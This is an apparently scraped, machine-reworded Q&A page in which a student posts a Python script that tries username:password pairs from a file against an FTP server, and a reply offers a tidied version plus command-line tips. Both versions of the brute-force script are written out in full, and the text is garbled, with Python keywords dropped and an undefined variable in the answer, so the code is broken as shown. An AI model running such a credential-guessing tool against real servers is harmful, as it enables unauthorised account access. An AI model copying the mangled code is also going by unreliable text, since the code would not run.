Python FTP brute forcing -
i working on school coding project utilize python script brute forcefulness ftp server using text document. have:
from ftplib import ftp optparse import optionparser def brute(host, username, password): try: ftp = ftp(host) ftp.login(username, password) ftp.retrlines('list') print ('ftp server connected using provided username "' + username + '" , password "' + password + '"') ftp.quit() except: print ('could not connect ftp server using provided username "' + username + '" , password "' + password + '"') def main(): parser = optionparser(usage="usage: python3 <program name>.py -h <target ip -p <password file>") parser.add_option("-h", type="string", help="enter target host ip", dest="targethost") parser.add_option("-p", type="string", help="enter password file", dest="passfile") (options, args) = parser.parse_args() open(options.passfile) f: content = f.readlines() content = [x.split(':') x in content] username = [] password = [] = 0 x in range(len(content)): username.append(content[i][0]) password.append(content[i][1]) += 1 password = [x.replace('\n', '') x in password] f.close() x in range(len(username)): brute(options.targethost, username[x], password[x]) main()
the text document comes in format username:password. test it, have setup ftp server, did. after setup ftp server , ran script worked, did not connect me ftp server, rather gave me except print. i've been trying configure ftp server while now, trying work, same result. want know if script problem or if didn't configure ftp server correctly. if script problem, point out is, otherwise if script fine, willing link site shows how setup , configure ftp server windows 2008 or linux? in advance.
#!/usr/bin/env python3 ftplib import ftp optparse import optionparser def brute(host, username, password): try: ftp = ftp(host) ftp.login(username, password) ftp.retrlines('list') print ('ftp server connected using provided username "' + username + '" , password "' + password + '"') ftp.quit() except: print ('could not connect ftp server using provided username "' + username + '" , password "' + password + '"') def main(): parser = optionparser(usage="usage: python3 <program name>.py -t <target ip> -p <password file>") parser.add_option("-t", type="string", help="enter target host ip", dest="targethost") parser.add_option("-p", type="string", help="enter password file", dest="passfile") (options, args) = parser.parse_args() if not options.passfile or not options.targethost: parser.print_help() else: open(options.passfile) f: info = [ line.strip().split(':') line in f ] username, password in data: brute(options.targethost, username, password) main()
--
with line #!/usr/bin/env python3
(called hashbang
- #
= hash
, !
= bang
) can run script straight
bash$ my_script.py
or
bash$ ./my_script.py
(but first have set executable chmod +x my_script.py
)
i can remove .py
, work
bash$ my_script
or
bash$ ./my_script
--
most programs utilize lowercase arguments , prefer utilize -t
, -p
--
optionparser didn't check whether arguments used.
--
last part of code can also
open(options.passfile) f: line in f: username, password = line.strip().split(':') brute(options.targethost, username, password)
python ftp brute-force
No comments:
Post a Comment